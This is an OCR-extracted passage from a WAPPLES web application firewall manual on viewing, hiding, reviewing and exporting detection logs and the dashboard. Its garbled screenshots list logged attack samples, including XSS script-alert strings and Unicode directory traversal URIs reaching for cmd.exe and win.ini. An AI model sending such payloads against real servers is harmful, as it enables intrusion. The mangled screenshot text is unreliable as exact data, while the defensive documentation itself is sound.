In Block 192.168.3.15 7 (ocal) <Unvegistersd website> 127.00.1 915/2010 55328 AM & Disconn

Cross Site Scripting 192.168.3.156  ? (oca)  192.168.3.153/serviet/org.anache. catalina Context/<script>al... 192.168.3.153:80 9f15/2010 55328 AM SN o

Cross site Stripting 192168.3.15  ? (bcal) 102.16¢ pache. catalina Containererviet/<... 192.168.2.153:80 9f15/2010 S:53:28 AM &N o

Cross Site Scripting 192.168.3.156 2 (ocal) 102.168.3.153/seniet/MsgPage 102.168.2.153:80 9f15/2010 S53:28 AM &Eror co

Cross Site Sripting 192.166.3.456 2 (oca) 192.166.3.153/testhtrl 192.168.2.153:80 9f15/2010 55325 AM OB code A

Cross Site Scripting 1921683156  ? (loca) 192.168.3.153/testhtrl 192.168.3.153:80 9/15/2010 5:53:28 AM SUEmor code A

Invaid HTTP 192.168.3.15  ? (oral) <Unregistered website> 192.168.3.153:80 9f15/2010 55328 &M @xDisconnec... /4

Buffer Overflow 192168.3.156  ? (ocal) 192.168.3.153/ 192.168.3.153:80 9f15/2010 55328 AM GOEMorcode

Extension Fitering 192168315 7 (oral) 192.168.3.153/defalitica 192.168.3.153:80 9f15/2010 55328 AM GOEmorcade L

Buffer Overflow 192.168.3.156 2 (ocal) 192.168.3.153/defalitida 192.168.3.153:80 9f15/2010 55328 AM e0Emor code [\

Extension Fitering 192.168.3.156 2 (ocd) 192.168.3.153/ vti_bin/_vti_aut/chewssr.dl 102.168.2.153:80 9f15/2010 S53:28 AM GUEnorcode L

Buffer Overflow 192.166.3.456 2 (locd) 192 168.3.153/ _vti_bin/_vti_aut/chewssr.di 192.168.2.153:80 9f15/2010 55325 AM OB code 4

Buffer Overflow 192,168.3.156 2 (local) 192,168.3. 192,168,3,153:80 '9/15/2010 5:53:28 AM SYEmor code A

Buffer Overflow 192.168.3.156 2 (oca) 192.168.3.153/<<<ccccccccc e <<, 192.168.3.15980 9F15/2010 55328 AM PEmorcade A

(Cross Site Scripting 192.168.3.156  ? (ocal) 192.168.3.153/bbs.php 192.168.3.153:80 9/15/2010 55239 AM GOEMorcode

QL Injection 192168.3.156 7 (ocal) 192.168.3.153/duck/incex.asn 192.168.3.153:80 9f15/2010 55239 AM GOEmorcade L

Stealth Commancding 19 15 2 (ocal) meadef. OO, /. O0../.O0. fwirntfsystem. . 102.168.2153:80 9/15/2010 5:52:30 AM e0Emor code [\

Stealth Commancing 192.168.3.156 2 (ocd) 192.168.3.153/scriptsf, %1C. 168.2.153:80 9f15/2010 S52:39 AM eEnorcode [\

Uricode Directory Trav... 1921683156 2 (local) 192.168.3.153/msadg. OO,/ O0..[.O0. jwinnt/system3. . 192168315380 9/15/2010 5:52:39 AM OB code 4

Uricode Directory Trav.., 192,168.3.156 2 (local)  192,168.3.153/scriptsf, O%1C.. fwinr md exe 192,168,3,153:80 '9/15/2010 5:52:39 AM SYEmor code A

Invaicl UR 192.168.3.156  ? (ocal) 192.168.3.153/scrptst. C%1C../winr rnd e 192.168.3.153:80 9/15/2010 55239 AM PEmorcade A

Uricode Directory Traw... 192.166.3156 7 (oca)  192.168.3.153/scriptsf. OO, Jwindows/notepad. exe 192.168.3.153:80 9/15/2010 55239 AM GOEMorcode

Stealth Commanding 192.168.3.15  ? (local) 192.168.3.153/scriptst. OO el exe 102.168.3.153:80 915/2010 55230 AM GOEmorcade L

Unicode Directory Traw... 1921683156 2 (ocal) 192.168.3.153/scrptsf. OCL . exe 102.168.2.153:80 9f15/2010 55230 AM e0Emor code [\

Stealth Commancing 192.168.3.15 2 (ocd) 192.168.3.153/scriptsf. OO md.exe 102.168.2.153:80 9f15/2010 552:30 AM eEnorcode [\

Uricode Directory Trav... 1921683156 2 (local) 192.168.3.153/scriptsf. 00 el exe 192.168.2.153:80 9f15/2010 55230 AM OB code 4

Stealth Commancing 192.168.3.156 2 (oca)  192,168,3.153/a,a50, O%1C. /. %1, fwint/winni 192,168.3.153:80 9f15/2010 55239 AM @YEmorcade [

Uricode Directory Trav... 1921683156 2 (loca)  192.168.3.153/a.a5p/. 0%1C../.. O%IC. /winnt/win.ini 192.168.3.153:80 9f15/2010 55239 &M PEmorcade A

Tnwaicl UR 192.168.3.156 2 (oca)  192.168.3.153/a.asp/. O%A1C./.. O%IC..fwinnt/win.ni 192.168.3.153:80 9f15/2010 55239 AM GOEMorcode

Uricode Directory Traw... 102.1683156 7 (oca) 192.168.3.153/adsamples/. 00..00.00. OO, OO, jwin... 192.168.3.153:80 9/15/2010 5:52:30 AM GOEmorcade L

iope Picb T 0o oace 9 im0 icodicoiaed oo T iodco 2 icoion nieioninceoon AT S Y ]

Fig. VI1-13. Detection Log Page Selection

1. Details of the WAPPLES Rules _207




2. Viewing the Details

Double-click or right-click a log in the searched logs and select [View Details...]
from the context menu to view the details.

[ custome:

WAPPLES Management ConsolePolicy/L og sync(PLS) mode

o i e N B @

Websites | @ Whols

= AddTab | Detectionlog Dashbosrd  Auditlog Montorng  Poicy  Report Peried | Recent Lela v view | Whole ¥ | Setting wizard
¥ Recent 1 day. Whole 4127 N |1/42 page ~
Rule Name Source 1P Country  |URT Destination Addr Countermeasire | Risk
1p Block 192,168,315 7 (ocal)  <Unregistered website> 127.0.0.1 #83 Disconre. .
Cross Site Scripting 192168315  ? (ocal) 192,16 viets/MsgPage 152,168.3,153:80 &) Ermor code
1p Block 192.168.3.156 7 (ocal)  <Unregistered website> 127.0.0.1 9/15/2010 5:53:28 AM Bz Disconnec...
Cross Site Scripting 192.168,3.156 7 (ocal)  192.168.3.153/serviet/org.apache.catal.. 192,168,3.158:80 9/15/2010 5:53:28 AWM &7 Ermor code
Cross Site Scripting 192,168,315 7 flocal)  192.168.2.153/servietforg apache.catal.. 192.168,3.158:80 9/15/2010 5:53:28 AWM &7 Ermor code
Cross Site Scripting 102168315 7 focal)  102.168.3.153/serviet/MsgPage 152,168,3.153:80 9/15/2010 5:53:28 AWM &7 Ermor code
Cross Site Scripting 102168315 7 focal)  102,168.3.153/test hitrrl 192,168,3.158:80 9/15/2010 5:53:38 AWM &7 Ermor code
Cross Site Scripting 192,168,315 7 flocal)  192.168.3.153/test hitrrl 192,168.3.153:00 9/15/2010 5:53:28 AM &7 Ermor code
Irwalid HTTR 192.168.3.156  ? {local)  <Urregistered website> 192.168.3.153:80 9/15/2010 5:53:78 AM H3 Discornec.
Buffer Overflow 192.168.3.156 7 {ocal) 192.168.3.1 152.168.3.153:80 9/15/2010 5:53:28 AWM &% Error code
Extension Fitering 192.168.3.156 7 (ocsl)  192.168.3.153/defalt ida 192.168.3.153:80 9/15/2010 5:53:28 AM &) Enor code
Buffer Overfizw ? (ocal)  192.168.3.153/default ida 152.168.3.153:80 9/15/2010 5:53:28 AM &) Enar code
Extension Fitering ? (ocal)  192.168.3.153/_vti_in/_vti_sut/dwwss... 192.168.3.153:80 9/15/2010 5:53:28 AM &) Enar code

?
2 (local)

52.168.3.153:80 |9/" i &4 Errar
192.168.3.153:80 &) Error code

Buffer Overfiow

>DDDDDDI>I>I>I>DDDDDDDDEDDDDDDDDDDDDD

Buffer Qverflow 192.168.3.156 7 (ocal) 19210 Hidslog 192,168.3.153:80 9/15/2010 5:53:28 AM & Error code
Cross Site Soripting 192.168.3.156 7 (ocal) 192,11 Recover hiddenlog, 192,168.3.153:80 9/15/2010 5:52:39 AM & Error code
50U Injetion 192168.3.156 7 doca) 19210 ey same URIlog 152,168.3.153:80 9/15/2010 5:52:39 AM % Emor code
Steatth Commancing 192.168.3.156 7 {local) 1921 view Rule log only . 192,168.3.155:80 9/15/2010 5:52:30 AM 7 Ermor code
Steatth Commancing 192.168.3.156 7 {local) 192.1(  view Same source log orly 192,168.3.153:80 9/15/2010 5:52:39 AW &7 Ermor code
Uricodks Diectory Trav.,, 192.068.3.156 7 docal) L0230 0o . 192,168.3.155:80 9/15/2010 5:52:30 AM 7 Ermor code
Uricode Directory Trav.. 1921683156 2 doca) 19200 o i 192,168.3.153:80 9/15/2010 5:52:39 AM &%) Error code
Irwalic LRI 182.168.3.156 7 ocal) 19210 send sesrched log statistice... 192.168.3.153:80 9/15/2010 5:52:33 AM &% Error code
Uricode Directory Trav... 192.168.3.156 2 (ocal)  192.1oewsrssysonprysorcrgwioowss. 192.168.3.153:60 9/15/2010 5:52:39 AM &% Error code
Stealth Commancing 192.168.3.156 7 flocal)  192.168.3.153/scriptsl. O, /winnt/sy... 192.168.3.153:80 9/15/2010 5:52:33 AM &7 Error code
Uricode Directory Trav... 192.168.3.156 2 (ocal)  192.168.3.153/soripty. OO fwinrtjsy... 192.168.3.153:80 9/15/2010 5:52:39 &M &) Enar code
Steath Commanding 192.168.3.156  ? (ocal)  192.168.3.153/scriptsl. OO /winnt/sy... 192.168.3.153:80 9/15/2010 5:52:33 AM &%) Error code
Uricode Directory Trav... 192.168.3.156 2 (ocal)  192.168.3.153/soripty. OO /winrtjsy... 192.168.3.153:80 9/15/2010 5:52:39 AM &%) Errar code
Steatth Commancding 192.168.3.156 7 (ocal) 192.168.3.153/a.asp). O%1C. /.. O%L... 192.168.3.153:80 9/15/2010 5:52:39 AM ) Ermor code
Unicode Ditectary Trav.., 192.168.3.156 7 (ocal) 192,166.3.153/a.asy/. 0%IC. /. D%L... 192,168,3.153:60 9/15/2010 5:52:39 AM &2 Emor code
Inwalid LRI 192.168.3.156 7 (ocal)  192.168.3.153/a.as0), 0%1C. /. O%L.., 192,168,3.153:80 9/15/2010 5:52:39 AM &7 Ermor code
Uricode Directary Trav.., 192.168.3.156 7 (ocal) 192.166.3.153/adsamples/. 00, O0.... 192.168,3.153:60 9/15/2010 5:52:39 AM % Emor code
1o oo Dirccbors T e B A T x e Il R 1;1!».4'.»! [l =BT S 200 S iondn e e 30 N-’W Crror oo >

Fig. VI1I-14. Detection Log Context Menu
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= Log details Q'E'@

Character Set | Windows-1252 <Western Europe v|

Field Walue

Palicy Custorm Palicy Data Stream

Fule Cross Site Soripting Raw Data |Decoded Data

Source Address |192.168.3.156 GET ftest.htmirkey=<script>alert('test")
Source Country  Unknown </script> HTTP;“I.O

destination ad... 192,168.3.153:80 Host: 192.165.3.153

Tirne af15/2010 5:53:28 AM Connection: Close

WebSite 192,168.3.153

|User-Agent; Sphere Acceptance Tester v3.0
Reguested LRI Jtest.html

Countermeasure  Error code
tisk 21 (Middle)

Reason of detection
'SCRIPT' HTML Tag is not allowed in Security policy.

Fig. VI11-15. Log Details Window

The left side of the details window displays the log’s general information such as
detected policy, rule, source address, source country, time, website, request URI,
and countermeasure. The right side of the window displays the raw data stream,
which emphasizes the reason for detection in red, and the decoded data stream
(HTTP Request Message or Response Message) as well as the basis for detection.

The raw data stream shows the actual HTTP Message as it is; the decoded data
stream is the decrypted version of the raw data stream.
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3. Hiding/Showing the Log

The “Hide Log” function can be useful when you want to filter the logs that you
wish to remove from the window.

Right-click the searched logs and select [Hide Log] from the context menu to
hide the selected log from the window. This does not completely delete the log,
however.

[& Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is runi

=)

r-—-\ ﬁjﬁ]’ &R C@ E @ F websites| 9 Whole - g6
o it {2 X
vnmELES Add Tab | Detection Log Dashboard  Auditlog Monitoring  Policy Report Period | Recent 1 dai v View | Whale Y| setting Wizard
7 Recent 1 day. Whole 4127 M | 1/42 page v
Rule Name Source 1P Country LRI Destination Addr... | Time Countermeasure | Risk ~
1p Black 192.168.3.15% 7 {ocdl)  <Unregistered websites 127.00.1 9/15/2010 5:54:14 &M Wz Disconner... £
Cross Site Scripting 192.168.3.156  ? (bcal) 192,16 vists/MsgPage 192.168.3.153:80 HDErorcode A
Ip Block 192.168.3.156  ? (bcdl)  <Uniregistered websites 127.0.0.1 W Disconnec.., A
Cross Site Scripting 192,168.3.156  ? (bcal)  192.168.3.153fsenet/org.apache.catal... 192,166.3,153:60 GDEmorcode A
Cross Site Scripting 192.168.3.156 7 {ocal) 192.168.3.153/servet/org.apache.catal... 192.168.3.153:80 9/15/2010 5:53:28 AM GlEmorcode A
Cross Site Scripting 192.168.3.156 7 (ocdl) 192.168.3.153/servet/MsgPage 192,168.3,153:80 9/15/2010 5:53:28 AM GlEmorcode A
Cross Site Scripting 192.168.3.156 7 {ocal) 192.168.3.153ftest htmi 192,168.3,153:80 9/15/2010 5:55:28 AM Y Erorcode A

92 ? g <, cBEorcode (A ||
Inwalict HTTP ? (ocdl)  <Unregistered websites 192.168.3.153:80 Discomnec... (.
Buffer overfiowr ? (ocdl) 192.1683.1 192,168.3.153:80 mtm ode A
Extengion Filtering ? facal) 192.168.3.153/default.idz 192,168.3.153:80 Eeee P T, rorcode A
Buffer Qverflow ? facal) 192.168.3.153/default idz 192168315980 8, Rikog Error code A
Extension Fitering ? (ocal) | 192,168.3.153/_vti_bin/_vti_aut/chowss... 192168315380 9] oo Erorcode
Buffer Overfiow ? (ocdl)  192.168.3.153/_vti_bin/_vti_sut/chenss... 192.168.3.153:80 9, e same source log orly Erorcode L
Buffer Owerflow ? {ocal) 192.168.3.1 .. 102,168.3.153:80 9, Error code %
Buffer Owerflowr ? (ocdl) 192.168.3.153{<<<<<<<<<<<<cc.. 192.168.3.15380 g Checkearchedlog... Erorcode
Cross Site Scripting 7 (ocd)  152.168.3.153/bbs.php 102.168.3.153:80 g ondSeerchedlog.. Erorcode | L

Send Searched log statistics. .

S0L Injection ? (ocal)  192.168.3.153/duckfindex asp 192.168.3.153:80 9 Emorcode O
Stealth Commanding 192.168.3.15 2 (bcal) 192.168.3.153/msade/. OO,/ O0../.... 192.168.3.153:80 9/15/2010 5:52:39 &AM HDErorcode L
Steath Cammanding 102,168.3.156 7 (ocal) 192.168.3.153fscripts), O%1C, fwinnt., 192.168.3,153:80 9/15/2010 5:52:39 AM BEmorcode A
Uricode Directory Trav.. 192,168.3.156  ? (ocdl) 192.168.3.153/msadd/, O00../.00 192,168.3,153:80 9/15/2010 3 BYErorcode
Unicode Directory Trav.. 192.168.3.156 7 (ocal)  192.168.3.153fscripts(. O%1C.. /winnt...  192.168.3.153:80 9/15/2010 BDEmorcode A
Inwalict URI 192.168,3.156 7 (ocal) 192.168.3.153/scriptsf. O%1C. fwinnt.., 192.168.3,153:80 9/15/2010 GlEmorcode &
Unicode Directory Trav... 192,168.3.156 7 (ocal) 192.168.3.153/scripts/, 00, fwindows.., 192,168.3,153:80 9/15/2010 GlErorcode &
Stealth Commanding 192.166.3.15 7 (ocal)  192.168.3.153/scriptsf, OO0 fwinnt/sy... 192.166.3,153:60 9/15/2010 GYErorcode &
Unicode Directory Trav... 192.168.3.156 7 (ocal) 192.168.3.153/scripts/. OO, jwinnt/sy... 192.168.3.153:60 9/15/2010 HDErorcode L
Stealth Commanding 192.168.3.15 7 (ocal)  192.168.3.153/scriptsf. OO fwinnt/sy... 192.168.3.153:60 9/15/2010 DErorcode L
Unicode Directory Trav... 192.168.3.156 2 (ocal)  192.168.3.153/scripty. OO, jwinrt/sy... 192.168.3.153:80 9/15/2010 HDErorcode L
Stealth Commanding 192,168.2.156  ? (bcal) 192.168.3.153fa.3:m/. 0%1C.[. %L, 192,168.3,152:80 9/15/2010 GEmorcode A
Uricode Directory Trav.., 192,168.3.156  ? (ocal)  192.168.3.153(a.3s0/. O%1 [%L... 192,168.3,153:80 9/15/2010 GEmorcode A
Inwvalict URI 102.168.2.15 7 {ocal) 102,16 . 192,162.3.153:80 9/15/2010 GDErorcode L
Unicode Directory Trav.. 192.168.3.156 2 (ocal) 192,16 192,168.3,153:80 9{15/2010 GlEmorcode &
i 00 ic00dcA 9 /on 100 4ao g acol MNaTa! 400 1A0 0 4ST.00 0i1S (90 S.c0.an Al ) RN b

Fig. VII-16. Hide Log

The log you hid with [Hide Log] can be unhidden by selecting the “All (Including
Hidden Logs)” filter from the [View] menu of the toolbar; the hidden log will
appear with the recycling bin icon. Right-click the log and select [Show Hidden
Log] to show the log.
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T@ gﬂ’ @ q@ @ Wehsites | @ Wholes v
<

—— - e T e R e e Period | Recent 1da v| View | Whoie(indude hi | | ooy s
q Recent 1 day, Whole(Include hidden log) 4127 N |1/42 page e
Rule Name Source 1P Country  URL Destination Add... | Time Countermeasure Risk ~
1p Block 192.168.3.156  ? (lcal)  <Urregitered websites 127.0.0.1 9/15/2010 5:54:14 AW W3 Disconner... £
Cross Site Scripting 192,168.3.156 (local) 192,16 vlets/MsgPage 192.168.3.153:60  9/15/2010 5:54:14 AM GEnorcode A
1p Block 192,168.3.156 (local)  <Urregistered website> 127.0.0.1 9f15/2010 5:53:28 AM 3 Disconnec...
Cross Site Scripting (local)  192.168.3.153fservietforg apache.catal... 192.168.3.153:80 9/15/2010 5:53:28 AW eDEmor code A
Cross Site Scripting (ocal)  192.168.3.153fservietforg.apache.catal... 192.168,3.153:80 9/15/2010 5:53:28 AWM GEnorcode A
Cross Site Scripting (local)  192,168.3,153fserviet{MsgPage 192,168.3.153:60 9/15/2010 5:53:28 AM GDEmorcode A
Cross Site Scripting (local)  192.168.3.153/test htrl 192.168.3.159:80 9/15/2010 5:53:28 AM eDEnorcode A

ite Scripting o 92,168.3.1 hirrl o ‘MaiT_'——'-
Invalid HTTP (local)  <Unregistered website> 192,168.3.153:80
Buffer Overflow (ocal)  192.168.3.1 192.168.3.153:80 9f15/2010 il

Extension Filtering
Buffer Overfiow
Extension Filtering
Buffer Crerflow
Buffer Overfiow
Buffer Cverflow
(Cross Site Scripting
SQL Injection

(ocal) | 192,168.3,153/default ida
(local)  192.168.3.153/default ida
(local)  192.168.3.153/ _vti_bin/_vti_aut/dvwss... 192.168.3.153:80
(local)  192,168.3,153/_vti_bin/_vti_auitfdvwes... 192.168,2.153:20
(local) 192.168.3.1 .. 182.168.3.1
(ocal)  192.168.3.153/< < << <<<<<<<<<<., 192.168,3.153:80
(local)  192,168.3.153/bbs.php 192.168.2.153:80
(local)  192.168.3.153/duckfindex.asp 192.168.3.153:80

192.168.2.153:80
192,168,3.153:80

E

g ) R ) ) P R IRTTY o [

o/15/2010 5‘53‘IE Recover hidden log. J

9/15/2010 5
9/15/2010 5:53:28
9/15/2010 5:53:28
0f15/2010 5:53:26
9/15/2010 5:53:28
9/15/2010 5:52:29

28 view same URTlog
View Rule Ing orly
View Same source log only

Check searched log.

send searched log. ..

Send Searched log statistic:
9/15/2010 5:52:39 AR ERVERCr code | 2L

Stealth Commanding 192.168.3.156 (loral)  192,168.3.153msadcf., OO, f.. OO0, ... 192,168,3.153:80 /152010 5:52:39 AM GYEMorcode A
Stealth Commanding 192.168.3.156 (local)  1592.168.3.1 criptsi., 0%1C, fwinnt,,,  192,168,3.153:80 9/15/2010 5;52;39 &AM %) Error code A
Uricode Directory Trav...  192.168.3.156 (local)  192.168.3.153/msade/. O0..£. 00, /... 192.168.3.153:80 9/15/2010 5:52:39 &M eDEmor code A
Unicode Directory Trav.,,  192,168.3.156 ilocaly  192,168.3,153/scriptsf, O%1C, fwinnt,,. 192,.168.3.153:80 9/15/2010 5:52:39 &M &%) Error code a
Invald LRI 192.168.3.156 (local) 1592,168.3.1 criptsi., 0%1C, fwinnt,.,  192,168,3.153:80 9/15/2010 5:52;39 &AM %) Error code A
Unicode Directory Trav...  192.168.3.156 (local)  192.168.3.153/scripts/.. OO, fwindows... 192.168.3.153:80 9/15/2010 5:52:39 &M GDEmorcode A
Stealth Commanding 192.168.3.156 (ocal)  192.168.3.153/scriptsf. OO innt/sy.., 192,168,3.153:80 9/15/2010 5:52:39 AM GUEMorcode A
Unicade Directory Trav...  192.168.3.156 (local) 192.168.3.1 cripts. OO, fwinnt/sy... 192,168,3.153:80 9/15/2010 5:52:39 AM &%) Error code Ay
Stealth Commancing 192.168.3.156 (local)  192.168.3.153/scripts/.. OO, fwinnt/sy... 192.168.3.153:80 9/15/2010 5:52:39 &M GDEmorcode A
Unicode Directory Trav.,.  192,168.3.156 ilocaly  192,168.3,153fscriptsf., OO, fwinnt /sy, 192,168.3.193:80 9/15/2010 5:52:39 &M &% Error code a
Stealth Cammanding 192.168.3.156 (local) | 192.168.3.153fa.asp/. O0%1C../.. O%1.., 192,168.3.153:80 9/15/2010 5:52:35 AM GOEMorcode A
Unicode Directory Trav, 192.168.2.156 ilocaly  192.168.3.153/a.asp/. O%1C../. O%1... 192.168.3.153:80 9/15/2010 5:52:30 &M &%) Error code a
Invalid LRI 192.168.2.155 ilocaly  192,168.3.153fa.aspf, O%1C../, O%1... 192.168.3.193:80 9/15/2010 5:52:39 &M &% Error code a
Uricode Directory Trav...  192.168.3.156 (local)  192.168.3.153/adsamples/. 00..00.... 192.168.3.153:80 9/15/2010 5:52:39 AM glErorcade A
oo Mooty Tooy 0o a0 e P T e R TR RIS P RNV R T R R R WYL 1Y -R-L Y Y Cral- v

Fig. VII-17. Show Log
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4. Reviewing the Searched Log

[Review Searched Log] is a wizard that processes a series of actions sequentially
from the registration of URI to [Detection Exception Setting List] based on the
searched logs to the hiding of logs to exclude registered URIs from the search of
detection logs. The URI detected based on the URI Access Control rule adds a
procedure for registering URI to [URI Detection Control List]. The administrator
can review the log and select the URI that appears to be safe by rule and add it to
[Detection Exception Setting] and [URI Access Control List].

Right-click a searched log and select [Review Searched Log...]; the following
window will appear:

[Fig. 116 Log Review Window] prompts the administrator whether it will add the
URI detected based on the Cross Site Script rule to [Detection Exception Setting
List].

The list at the top displays the list of unique URIs by eliminating the same URIs
in the detected logs. Selecting a URI from the unique URI list at the top causes
the list at the bottom to display all detection logs containing the selected URI.
Check the URI to be excluded from detection and click [Next].

Repeat this process if there are other rules in the searched detection logs.

Log Arrangement Wizard

Log Arrangement Wizard
Crioss Site Scripting - Except URL Detection

Check URL not to detect,

URL checked wil be added to detection-excepted list and its detection log will be sat as hiden,
Select  |URL Count -~
192,168.3,153f 10
192.168.3.153/9:04%04 < script = alert {"Wulnerable" )< fscript » jsp 5
192, 168.3, 153/ "«<script=alert("xss" 1< fscript =
192,168.3,153/"» <img src="javascript: alert{document.domain)">
192.168.3. 153/666%04%04 <script = alert {Wulnerable’)

192, 168.3, 153/ < fa> <script= alert{"xss" )< fsoript >
192,168.3.153/ < ftitle> <script»alert("xss" )< fscript =

1Ooooonono

[ RRT R Y]

v
Selected log
Rule Name Source [P Country URL Destination Add... Time Colnter

< >

Fig. VII-18. Log Review Window
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The URI Access Control rule prompts the administrator whether it will add the
target URI to [Detection Exception Setting] and to [URI Access Control List].

Log Arrangement Wizard

Log Arrangement Wizard
URT Access Control - Add Access-permitted URL

Select |LRL Count -~
.153/koreanf

om_dotline.gf

192.168.3.153/korean/imgfbox_b_left.gif
192.168.3.153/korean/imgfbox_b_right.gif
192.168.3.153/korean/img fbox_bottorm.gf

192.168.3.153/korean/imgfbox_left.gf
192.168.3.153/korean/imgfbox_right  gif

wwuww!w
|

ooood

Selected log
Rule Mame Source 1P Country LRI Destination Addr... Time Counter!

I >

3

[ Cancel ][ < Back ]I Next >

Fig. VI1-19. Log Review — Addition to the URI Access Control List

The detection logs of the selected URIs are regarded as hidden logs after all
settings are completed.
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Log Arrangement Wizard
Log Arrangement Wizard

Log Arrangment Completed

Click "Complete’ arrange logs.

(%) Finish Setting Wizard.

Cancel ] [ < Back ] [Cnmnlete]

Fig. VI11-20. Completion of Log Review
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5. Exporting the Searched Log

Export Log saves searched logs to an MS Excel file that can be searched outside

WAPPL

ES.

Right-click the searched log and select [Export Searched Log...] to display a
dialogue box for entering the name of the file to be saved as shown below.

If there is a file with the same name as the one you entered, you will be prompted
if you want to overwrite the existing file; if the log cannot be saved to the folder
under the name you entered, an error message will appear, prompting you to enter

the filen

Save As

P'|-'

D

My Recent
Documnents

Desktop

)

by Documents

o

My Computer

ame again.

Save in: | = Log

File hame:

My Network Save az type:

|W'a|:|plesLog

J [

| Exeel File

w | [ Cancel ]

Fig. VII-21. Exporting the Log
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Al - Jx | "Rule’

A B [ 5] E =

1 [Rule' I'Source Address' 'destination address' Time" 'URL B
2 | Buspicious Access 192.168.3.156 192.168.3.153:80 9742010 10:3408 P 192.168.3.163/C17_Su
3 Parameter Tampering 192.168.3.156 192.168.3.153:80 914/201010:31:26 PM 192.168.3.153/koraan,
4 Pararmeter Tampering 192.168.3.156 192.168.3.153:80 942010 10:30:20 P 192.168.3.153/koraan,
5 Parareter Tampering 192.168.3.156 192.168.3.153:80 9/14/201010:28:01 FM  192.168.3 153/ korean,
B Parameter Tampering 192.168.3.156 192.168.3.153:80 $74/201010:25:22 PM - 192.168.3.163/korean,
7 | Cross Site Scripting 192.168.3.156 192.168.3.153:80 $74/2010 10:08:18 P 192.168.3.163/bbs.ph)
8 SOLInjection 152.168.3.156 182.168.3.153:80 9142010 10:08:16 PM 192.168.3.153/duckyin
9 Stealth Commanding 1592.168.3.156 192.168.3.153:80 9/14/2010 10:08:18 P 192.168.3.153/msads,
10 Unicode Directory Trawersal 192.168.3.156 192.168.3.153:80 942010 10:08:18 P 192.168.3.153/msadg
11 Stealth Commanding 192.168.3.156 192.168.3.153:80 $74/2010 10:08:18 PM - 192.168.3.163/scripts/
12 Unicode Directory Traversal 192.168.3.156 192.168.3.153:80 9142010 10:08:16 P 192.168.3.153/scripts/
13 Invalid URI 1592.168.3.156 192.168.3.153:80 9/14/2010 10:08:18 P 192.168.3.153/scripts/
14 Unicode Directory Traversal 192.168.3.156 192.168.3.153:80 9/14/201010:08:18 P 192.168.3.153/scripts/
15 Stealth Commanding 192.168.3.156 192.168.3.153:80 $74/2010 10:08:18 PM - 192.168.3.163/scripts/
16 Unicode Directory Traversal 192.168.3.156 192.168.3.153:80 9142010 10:08:16 P 192.168.3.153/scripts/
17 Stealth Commanding 152.168.3.156 182.168.3.153:80 9142010 10:08:16 PM 192.168.3.153/scripts/
18 Unicode Directory Traversal 192.168.3.156 192.168.3.153:80 9/14/201010:08:18 P 192.168.3.153/scripts/
19 Stealth Commanding 192.168.3.156 192.168.3.153:80 $74/2010 10:08:18 P 192.168.3.163/a.asp/.
20 Unicode Directory Trawersal 192.168.3.156 192.168.3.153:80 9442010 10:08:16 PM - 192.168.3.163/a.asp/.
21 Invalic URI 152.168.3.156 182.168.3.153:80 9142010 10:08:16 PM 192.168.3.153/a.asp/..
22 Unicode Directory Traversal 1592.168.3.156 192.168.3.153:80 9/14/2010 10:08:18 P 192.168.3.153/adsam
23 Unicode Directory Trawersal 192.168.3.156 192.168.3.153:80 $A4Z010:0818 P 192.168.3.153/scripts!
24 Unicode Directory Trawersal 192.168.3.156 192.168.3.153:80 942010 10:08:18 P 192.168.3.163/_vti_bir

25 Unicode Directory Traversal 152.168.3.156 182.168.3.153:80 914/2010 10:08:16 PM 192.168.3.153/msaclc, %

4

» v | Wappleslog %]

[

] I

Fig. VI1-22. Exported Log in Excel
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6. Exporting the Searched Log Statistics

The Export Log Statistics function saves the Top 10 Statistical Data prepared
from the result of analyzing logs by rule, country, source IP, URI, and
block/countermeasure to an MS Excel file to enable search outside WAPPLES.

Right-click the searched log and select [Export Searched Log Statistics...]; the
following window will appear:

Save As @

Save i |E}Log V| Q T -

D

My Fecent
Documents

Degktop

2

tw Documents

ty Computer

File name: |WapplesLogStat hd | [ Save ]

by M etwark, Save as lype: | Euxcel File

v | [ Cancel ]

Fig. VI1-23. Exporting Log Statistics
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| Al - % |
Al®B c D |
L]
2 summary report
2
4 all websites: Number of detection log : 685
3
& TOP 10 for each rule
7
8 rank Rule number of detections
9 1|Cross Site Scripting 286 =|
10 2|SQL Injection 183
11 3|Parameter Tampering 79
12 4|Unicode Directory Traversal 39
13 5|Invalid URI 37
14 6|Stealth Commanding 33
15 7|Extension Filtering 13
16 8|Regquest Method Filtering 10
17 9|Buffer Overflow 4
18 10|Suspicious Access 1
19
20 TOP 10 for each country
21
22 ‘rank‘ country ‘ number of detactions |
23 [ 1]unknown \ 685)
24
25 TOP 10 for each source IP
26
27 rank Source Address number of detections
28 1/192.168.3.156 684
29 2|192.168.3.48 1
30
W4 vl Sheetl <53 ] | I

Fig. VI1-24. Log Statistics Exported to Excel File
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1.Search by Site and by Period
2.Search by Data Type

3. Additional Functions



VIII. Dashboard

WAPPLES’s Dashboard shows traffic and information related to the detected log
in charts. Dashboard reanalyzes the detection log information every 10 seconds
and updates the screen accordingly.

The following are the types of data displayed through the dashboard:

Table 78. T f Dashboard Dat

Shows the distribution of data transmitted through WAPPLES

ETE by time (Mbytes/Sec)

Shows the distribution of HTTP Request Messages requested

Page Hit . \VAPPLES by time (Page hit/Sec)

Shows the distribution of detected logs by time (Number of

Detection Log Logs/Sec)

Distribution

by Rule Shows the distribution of detected logs by rule

System Status Shows the CPU and RAM Usage

Network Shows the distribution of RX bytes and TX bytes data
Status transmitted through WAPPLES by time

In the dashboard, you can select the type of data and chart by using the target
website, period, and view filters.

In the management tool’s toolbar, click [Dashboard] to maximize the dashboard.
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[ Customer1 - WAPPLES Management ConsolePolicyfLog sync(PLS) mode is running.

F\m g@& ﬁ @ wiebsites | @ Whole vl %&

wasmzs  AddTab | Defectionlog Dashboad  Audtlog Montorng  Poicy  Report period | IR | Vview | Tafc ¥ | setting weard
Recent L hour, Trafic Curve 20 >

B
B &Kl - R @@ % FER |

Topics Value
Minimum [
Maximum

MBytessec

Average
Lately

2= o

000 /\\

S2000 52400 52800 53200 53600 54000  S4400 54800 S5200  S5600 BO000  B400  EE00 61200 G800
ime

— 1921683153 pentasecurity com ~ Unregistered website Whole

Fig. VI11-1. Click Dashboard

1. Search by Site and Period

The Search by Site and Period feature of the dashboard is the same as the search
feature of the detection log. For details, refer to [VII.1.1 Search by Site] and
[VI1.1.2 Search by Period].
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2. Search by Data Type

2.1 Traffic

The “Traffic” filter shows the distribution of data transmitted through WAPPLES
by time (MBytes/Sec); changes in data are represented through the combination
of the time axis and the traffic axis. In the toolbar, click [Traffic] under [View].

